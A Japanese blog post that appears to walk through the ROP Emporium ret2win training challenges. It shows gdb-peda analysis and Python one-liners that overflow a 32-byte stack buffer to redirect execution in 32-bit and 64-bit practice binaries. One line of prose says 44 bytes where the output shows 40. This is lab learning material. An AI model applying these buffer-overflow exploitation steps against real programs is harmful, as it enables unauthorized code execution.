1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

ROP Emporium ret2win writeup

Last updated at Posted at 2020-01-19

ROP Emporium

ROPの練習問題集

ROP Emporium

解法時のメモをまとめておきます。
誤りや指摘事項があれば、コメントお願いします。

writeup link

ret2win32 writeup

32bitのELF実行ファイル。
とりあえず、実行してみる。
32byteのバッファサイズに50byteの入力しようとしているが、おかしいところはあるか?というメッセージが出力される。

# file ./ret2win32
./ret2win32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=70a25eb0b818fdc0bafabe17e07bccacb8513a53, not stripped
# 
# 
# 
# ./ret2win32 
ret2win by ROP Emporium
32bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> test

Exiting
# 

gdbで解析する。

# gdb ./ret2win32 

実行ファイルのセキュリティ機構を確認する。
canaryが無効になっているので、Buffer Overflowの脆弱性が使えそう。

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ 

ユーザ定義の関数は以下の三つ。

  • main
  • pwnme
  • ret2win
gdb-peda$ info func
All defined functions:

Non-debugging symbols:
0x080483c0  _init
0x08048400  printf@plt
0x08048410  fgets@plt
0x08048420  puts@plt
0x08048430  system@plt
0x08048440  __libc_start_main@plt
0x08048450  setvbuf@plt
0x08048460  memset@plt
0x08048470  __gmon_start__@plt
0x08048480  _start
0x080484b0  __x86.get_pc_thunk.bx
0x080484c0  deregister_tm_clones
0x080484f0  register_tm_clones
0x08048530  __do_global_dtors_aux
0x08048550  frame_dummy
0x0804857b  main
0x080485f6  pwnme
0x08048659  ret2win
0x08048690  __libc_csu_init
0x080486f0  __libc_csu_fini
0x080486f4  _fini
gdb-peda$

main関数の内容を確認してみる。
<main+89>でpwnme関数を呼び出していることがわかる。

gdb-peda$ pdis main
Dump of assembler code for function main:
   0x0804857b <+0>:	lea    ecx,[esp+0x4]
   0x0804857f <+4>:	and    esp,0xfffffff0
   0x08048582 <+7>:	push   DWORD PTR [ecx-0x4]
   0x08048585 <+10>:	push   ebp
   0x08048586 <+11>:	mov    ebp,esp
   0x08048588 <+13>:	push   ecx
=> 0x08048589 <+14>:	sub    esp,0x4
   0x0804858c <+17>:	mov    eax,ds:0x804a064
   0x08048591 <+22>:	push   0x0
   0x08048593 <+24>:	push   0x2
   0x08048595 <+26>:	push   0x0
   0x08048597 <+28>:	push   eax
   0x08048598 <+29>:	call   0x8048450 <setvbuf@plt>
   0x0804859d <+34>:	add    esp,0x10
   0x080485a0 <+37>:	mov    eax,ds:0x804a040
   0x080485a5 <+42>:	push   0x0
   0x080485a7 <+44>:	push   0x2
   0x080485a9 <+46>:	push   0x0
   0x080485ab <+48>:	push   eax
   0x080485ac <+49>:	call   0x8048450 <setvbuf@plt>
   0x080485b1 <+54>:	add    esp,0x10
   0x080485b4 <+57>:	sub    esp,0xc
   0x080485b7 <+60>:	push   0x8048710
   0x080485bc <+65>:	call   0x8048420 <puts@plt>
   0x080485c1 <+70>:	add    esp,0x10
   0x080485c4 <+73>:	sub    esp,0xc
   0x080485c7 <+76>:	push   0x8048728
   0x080485cc <+81>:	call   0x8048420 <puts@plt>
   0x080485d1 <+86>:	add    esp,0x10
   0x080485d4 <+89>:	call   0x80485f6 <pwnme>
   0x080485d9 <+94>:	sub    esp,0xc
   0x080485dc <+97>:	push   0x8048730
   0x080485e1 <+102>:	call   0x8048420 <puts@plt>
   0x080485e6 <+107>:	add    esp,0x10
   0x080485e9 <+110>:	mov    eax,0x0
   0x080485ee <+115>:	mov    ecx,DWORD PTR [ebp-0x4]
   0x080485f1 <+118>:	leave  
   0x080485f2 <+119>:	lea    esp,[ecx-0x4]
   0x080485f5 <+122>:	ret    
End of assembler dump.
gdb-peda$ 

pwnme関数の内容を確認してみる。

gdb-peda$ pdis pwnme
Dump of assembler code for function pwnme:
   0x080485f6 <+0>:	push   ebp
   0x080485f7 <+1>:	mov    ebp,esp
   0x080485f9 <+3>:	sub    esp,0x28
   0x080485fc <+6>:	sub    esp,0x4
   0x080485ff <+9>:	push   0x20
   0x08048601 <+11>:	push   0x0
   0x08048603 <+13>:	lea    eax,[ebp-0x28]
   0x08048606 <+16>:	push   eax
   0x08048607 <+17>:	call   0x8048460 <memset@plt>
   0x0804860c <+22>:	add    esp,0x10
   0x0804860f <+25>:	sub    esp,0xc
   0x08048612 <+28>:	push   0x804873c
   0x08048617 <+33>:	call   0x8048420 <puts@plt>
   0x0804861c <+38>:	add    esp,0x10
   0x0804861f <+41>:	sub    esp,0xc
   0x08048622 <+44>:	push   0x80487bc
   0x08048627 <+49>:	call   0x8048420 <puts@plt>
   0x0804862c <+54>:	add    esp,0x10
   0x0804862f <+57>:	sub    esp,0xc
   0x08048632 <+60>:	push   0x8048821
   0x08048637 <+65>:	call   0x8048400 <printf@plt>
   0x0804863c <+70>:	add    esp,0x10
   0x0804863f <+73>:	mov    eax,ds:0x804a060
   0x08048644 <+78>:	sub    esp,0x4
   0x08048647 <+81>:	push   eax
   0x08048648 <+82>:	push   0x32
   0x0804864a <+84>:	lea    eax,[ebp-0x28]
   0x0804864d <+87>:	push   eax
   0x0804864e <+88>:	call   0x8048410 <fgets@plt>
   0x08048653 <+93>:	add    esp,0x10
   0x08048656 <+96>:	nop
   0x08048657 <+97>:	leave  
   0x08048658 <+98>:	ret    
End of assembler dump.
gdb-peda$ 

memsetで確保しているサイズは0x20(32byte)。
memset

[-------------------------------------code-------------------------------------]
   0x8048601 <pwnme+11>:	push   0x0
   0x8048603 <pwnme+13>:	lea    eax,[ebp-0x28]
   0x8048606 <pwnme+16>:	push   eax
=> 0x8048607 <pwnme+17>:	call   0x8048460 <memset@plt>
   0x804860c <pwnme+22>:	add    esp,0x10
   0x804860f <pwnme+25>:	sub    esp,0xc
   0x8048612 <pwnme+28>:	push   0x804873c
   0x8048617 <pwnme+33>:	call   0x8048420 <puts@plt>
Guessed arguments:
arg[0]: 0xffffd2a0 --> 0xffffd2d8 --> 0x0 
arg[1]: 0x0 
arg[2]: 0x20 (' ')
arg[3]: 0x7 

fgetsでの入力サイズは0x32(50byte)。

fgets

ファイル実行時のメッセージにある通り、32byteのサイズが確保されているが、50byteの書き込みが可能であることが確認できた。
ただ、main関数/pwnme関数の両方からret2win関数は実行されていなかった。

[-------------------------------------code-------------------------------------]
   0x8048648 <pwnme+82>:	push   0x32
   0x804864a <pwnme+84>:	lea    eax,[ebp-0x28]
   0x804864d <pwnme+87>:	push   eax
=> 0x804864e <pwnme+88>:	call   0x8048410 <fgets@plt>
   0x8048653 <pwnme+93>:	add    esp,0x10
   0x8048656 <pwnme+96>:	nop
   0x8048657 <pwnme+97>:	leave  
   0x8048658 <pwnme+98>:	ret
Guessed arguments:
arg[0]: 0xffffd2a0 --> 0x0 
arg[1]: 0x32 ('2')
arg[2]: 0xf7fb15c0 --> 0xfbad2088 

ret2win関数を確認してみる。

gdb-peda$ pdis ret2win
Dump of assembler code for function ret2win:
   0x08048659 <+0>:	push   ebp
   0x0804865a <+1>:	mov    ebp,esp
   0x0804865c <+3>:	sub    esp,0x8
   0x0804865f <+6>:	sub    esp,0xc
   0x08048662 <+9>:	push   0x8048824
   0x08048667 <+14>:	call   0x8048400 <printf@plt>
   0x0804866c <+19>:	add    esp,0x10
   0x0804866f <+22>:	sub    esp,0xc
   0x08048672 <+25>:	push   0x8048841
   0x08048677 <+30>:	call   0x8048430 <system@plt>
   0x0804867c <+35>:	add    esp,0x10
   0x0804867f <+38>:	nop
   0x08048680 <+39>:	leave  
   0x08048681 <+40>:	ret    
End of assembler dump.
gdb-peda$ 

printfの引数を確認してみると、flagを出力する前のメッセージのようなものが見える。

gdb-peda$ x/s 0x8048824
0x8048824:	"Thank you! Here's your flag:"
gdb-peda$ 

systemの引数を確認すると、"/bin/cat flag.txt"が実行されることがわかる。
したがって、ret2win関数を実行できればフラグが出力される。

gdb-peda$ x/s 0x8048841
0x8048841:	"/bin/cat flag.txt"
gdb-peda$ 

pattc / pattoコマンドを使用してリターンアドレスまでの入力サイズを確認する。
リターンアドレスまでのサイズは44byteであることがわかる。

gdb-peda$ pattc 60
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA'
gdb-peda$ 
[-------------------------------------code-------------------------------------]
   0x8048653 <pwnme+93>:	add    esp,0x10
   0x8048656 <pwnme+96>:	nop
   0x8048657 <pwnme+97>:	leave  
=> 0x8048658 <pwnme+98>:	ret    
   0x8048659 <ret2win>:	push   ebp
   0x804865a <ret2win+1>:	mov    ebp,esp
   0x804865c <ret2win+3>:	sub    esp,0x8
   0x804865f <ret2win+6>:	sub    esp,0xc
[------------------------------------stack-------------------------------------]
0000| 0xffffd2cc ("AFAAb")
0004| 0xffffd2d0 --> 0xf7fe0062 (adc    al,0x83)
0008| 0xffffd2d4 --> 0xffffd2f0 --> 0x1 
0012| 0xffffd2d8 --> 0x0 
0016| 0xffffd2dc --> 0xf7df87e1 (<__libc_start_main+241>:	add    esp,0x10)
0020| 0xffffd2e0 --> 0xf7fb1000 --> 0x1d6d6c 
0024| 0xffffd2e4 --> 0xf7fb1000 --> 0x1d6d6c 
0028| 0xffffd2e8 --> 0x0 
[------------------------------------------------------------------------------]
gdb-peda$ patto AFAA
AFAA found at offset: 44
gdb-peda$ 

44byteのダミー文字とret2win関数のアドレスを入力値とする。
ret2winのアドレスはリトルエンディアンに注意。

# python -c "print 'A'*44 + '\x59\x86\x04\x08'" | ./ret2win32 
ret2win by ROP Emporium
32bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!}
Illegal instruction
# 

ret2win writeup

ret2win32の64bit版。
64bitの実行ファイルになっているが、実行時の出力メッセージは特に変化なし。

# file ./ret2win
./ret2win: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a871295b6234edb261710bcc73a8c03e3c0f601d, not stripped
# 
# 
# 
# ./ret2win 
ret2win by ROP Emporium
64bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> test

Exiting
# 

実行ファイルのセキュリティ機構を確認する。
ret2win32と同様でcanaryが無効になっているので、Buffer Overflowの脆弱性が使えそう。

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ 

ユーザ定義の関数は以下の三つ。

  • main
  • pwnme
  • ret2win
gdb-peda$ info func
All defined functions:

Non-debugging symbols:
0x00000000004005a0  _init
0x00000000004005d0  puts@plt
0x00000000004005e0  system@plt
0x00000000004005f0  printf@plt
0x0000000000400600  memset@plt
0x0000000000400610  __libc_start_main@plt
0x0000000000400620  fgets@plt
0x0000000000400630  setvbuf@plt
0x0000000000400640  __gmon_start__@plt
0x0000000000400650  _start
0x0000000000400680  deregister_tm_clones
0x00000000004006c0  register_tm_clones
0x0000000000400700  __do_global_dtors_aux
0x0000000000400720  frame_dummy
0x0000000000400746  main
0x00000000004007b5  pwnme
0x0000000000400811  ret2win
0x0000000000400840  __libc_csu_init
0x00000000004008b0  __libc_csu_fini
0x00000000004008b4  _fini
gdb-peda$ 

main関数の内容を確認してみる。
<main+89>でpwnme関数を呼び出していることがわかる。

gdb-peda$ pdis main
Dump of assembler code for function main:
   0x0000000000400746 <+0>:	push   rbp
   0x0000000000400747 <+1>:	mov    rbp,rsp
   0x000000000040074a <+4>:	mov    rax,QWORD PTR [rip+0x20090f]        # 0x601060 <stdout@@GLIBC_2.2.5>
   0x0000000000400751 <+11>:	mov    ecx,0x0
   0x0000000000400756 <+16>:	mov    edx,0x2
   0x000000000040075b <+21>:	mov    esi,0x0
   0x0000000000400760 <+26>:	mov    rdi,rax
   0x0000000000400763 <+29>:	call   0x400630 <setvbuf@plt>
   0x0000000000400768 <+34>:	mov    rax,QWORD PTR [rip+0x200911]        # 0x601080 <stderr@@GLIBC_2.2.5>
   0x000000000040076f <+41>:	mov    ecx,0x0
   0x0000000000400774 <+46>:	mov    edx,0x2
   0x0000000000400779 <+51>:	mov    esi,0x0
   0x000000000040077e <+56>:	mov    rdi,rax
   0x0000000000400781 <+59>:	call   0x400630 <setvbuf@plt>
   0x0000000000400786 <+64>:	mov    edi,0x4008c8
   0x000000000040078b <+69>:	call   0x4005d0 <puts@plt>
   0x0000000000400790 <+74>:	mov    edi,0x4008e0
   0x0000000000400795 <+79>:	call   0x4005d0 <puts@plt>
   0x000000000040079a <+84>:	mov    eax,0x0
   0x000000000040079f <+89>:	call   0x4007b5 <pwnme>
   0x00000000004007a4 <+94>:	mov    edi,0x4008e8
   0x00000000004007a9 <+99>:	call   0x4005d0 <puts@plt>
   0x00000000004007ae <+104>:	mov    eax,0x0
   0x00000000004007b3 <+109>:	pop    rbp
   0x00000000004007b4 <+110>:	ret    
End of assembler dump.
gdb-peda$ 

pwnme関数の内容を確認してみる。

gdb-peda$ pdis pwnme
Dump of assembler code for function pwnme:
   0x00000000004007b5 <+0>:	push   rbp
   0x00000000004007b6 <+1>:	mov    rbp,rsp
   0x00000000004007b9 <+4>:	sub    rsp,0x20
   0x00000000004007bd <+8>:	lea    rax,[rbp-0x20]
   0x00000000004007c1 <+12>:	mov    edx,0x20
   0x00000000004007c6 <+17>:	mov    esi,0x0
   0x00000000004007cb <+22>:	mov    rdi,rax
   0x00000000004007ce <+25>:	call   0x400600 <memset@plt>
   0x00000000004007d3 <+30>:	mov    edi,0x4008f8
   0x00000000004007d8 <+35>:	call   0x4005d0 <puts@plt>
   0x00000000004007dd <+40>:	mov    edi,0x400978
   0x00000000004007e2 <+45>:	call   0x4005d0 <puts@plt>
   0x00000000004007e7 <+50>:	mov    edi,0x4009dd
   0x00000000004007ec <+55>:	mov    eax,0x0
   0x00000000004007f1 <+60>:	call   0x4005f0 <printf@plt>
   0x00000000004007f6 <+65>:	mov    rdx,QWORD PTR [rip+0x200873]        # 0x601070 <stdin@@GLIBC_2.2.5>
   0x00000000004007fd <+72>:	lea    rax,[rbp-0x20]
   0x0000000000400801 <+76>:	mov    esi,0x32
   0x0000000000400806 <+81>:	mov    rdi,rax
   0x0000000000400809 <+84>:	call   0x400620 <fgets@plt>
   0x000000000040080e <+89>:	nop
   0x000000000040080f <+90>:	leave  
   0x0000000000400810 <+91>:	ret    
End of assembler dump.
gdb-peda$ 

memsetで確保しているサイズは0x20(32byte)。
memset

[-------------------------------------code-------------------------------------]
   0x4007c1 <pwnme+12>:	mov    edx,0x20
   0x4007c6 <pwnme+17>:	mov    esi,0x0
   0x4007cb <pwnme+22>:	mov    rdi,rax
=> 0x4007ce <pwnme+25>:	call   0x400600 <memset@plt>
   0x4007d3 <pwnme+30>:	mov    edi,0x4008f8
   0x4007d8 <pwnme+35>:	call   0x4005d0 <puts@plt>
   0x4007dd <pwnme+40>:	mov    edi,0x400978
   0x4007e2 <pwnme+45>:	call   0x4005d0 <puts@plt>
Guessed arguments:
arg[0]: 0x7fffffffe110 --> 0x0 
arg[1]: 0x0 
arg[2]: 0x20 (' ')

fgetsでの入力サイズは0x32(50byte)。

fgets

ファイル実行時のメッセージにある通り、32byteのサイズが確保されているが、50byteの書き込みが可能であることが確認できた。
ただ、main関数/pwnme関数の両方からret2win関数は実行されていなかった。

[-------------------------------------code-------------------------------------]
   0x4007fd <pwnme+72>:	lea    rax,[rbp-0x20]
   0x400801 <pwnme+76>:	mov    esi,0x32
   0x400806 <pwnme+81>:	mov    rdi,rax
=> 0x400809 <pwnme+84>:	call   0x400620 <fgets@plt>
   0x40080e <pwnme+89>:	nop
   0x40080f <pwnme+90>:	leave  
   0x400810 <pwnme+91>:	ret    
   0x400811 <ret2win>:	push   rbp
Guessed arguments:
arg[0]: 0x7fffffffe110 --> 0x0 
arg[1]: 0x32 ('2')
arg[2]: 0x7ffff7fafa00 --> 0xfbad2088 

ret2win関数を確認してみる。

gdb-peda$ pdis ret2win
Dump of assembler code for function ret2win:
   0x0000000000400811 <+0>:	push   rbp
   0x0000000000400812 <+1>:	mov    rbp,rsp
   0x0000000000400815 <+4>:	mov    edi,0x4009e0
   0x000000000040081a <+9>:	mov    eax,0x0
   0x000000000040081f <+14>:	call   0x4005f0 <printf@plt>
   0x0000000000400824 <+19>:	mov    edi,0x4009fd
   0x0000000000400829 <+24>:	call   0x4005e0 <system@plt>
   0x000000000040082e <+29>:	nop
   0x000000000040082f <+30>:	pop    rbp
   0x0000000000400830 <+31>:	ret    
End of assembler dump.
gdb-peda$ 

printfの引数を確認してみると、flagを出力する前のメッセージのようなものが見える。
64bitでの引数はstackではなく、レジスタに格納されるので注意。

gdb-peda$ x/s 0x4009e0
0x4009e0:	"Thank you! Here's your flag:"
gdb-peda$ 

systemの引数を確認すると、"/bin/cat flag.txt"が実行されることがわかる。
したがって、ret2win関数を実行できればフラグが出力される。

gdb-peda$ x/s 0x4009fd
0x4009fd:	"/bin/cat flag.txt"
gdb-peda$ 

pattc / pattoコマンドを使用してリターンアドレスまでの入力サイズを確認する。
リターンアドレスまでのサイズは44byteであることがわかる。

gdb-peda$ pattc 60
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA'
gdb-peda$ 
[-------------------------------------code-------------------------------------]
   0x400809 <pwnme+84>:	call   0x400620 <fgets@plt>
   0x40080e <pwnme+89>:	nop
   0x40080f <pwnme+90>:	leave  
=> 0x400810 <pwnme+91>:	ret    
   0x400811 <ret2win>:	push   rbp
   0x400812 <ret2win+1>:	mov    rbp,rsp
   0x400815 <ret2win+4>:	mov    edi,0x4009e0
   0x40081a <ret2win+9>:	mov    eax,0x0
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe138 ("AA0AAFAAb")
0008| 0x7fffffffe140 --> 0x400062 --> 0x1f8000000000000 
0016| 0x7fffffffe148 --> 0x7ffff7e1cbbb (<__libc_start_main+235>:	mov    edi,eax)
0024| 0x7fffffffe150 --> 0x0 
0032| 0x7fffffffe158 --> 0x7fffffffe228 --> 0x7fffffffe51e ("/root/ROP_Emporium/ret2win/ret2win")
0040| 0x7fffffffe160 --> 0x100040000 
0048| 0x7fffffffe168 --> 0x400746 (<main>:	push   rbp)
0056| 0x7fffffffe170 --> 0x0 
gdb-peda$ patto  AA0AAFAA
AA0AAFAA found at offset: 40
gdb-peda$ 

40byteのダミー文字とret2win関数のアドレスを入力値とする。
リターンアドレスは64bit。
ret2winのアドレスはリトルエンディアンに注意。

# python -c "print 'A'*40 +'\x11\x08\x40\x00\x00\x00\x00\x00'" | ./ret2win 
ret2win by ROP Emporium
64bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!}
Segmentation fault
# 
1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?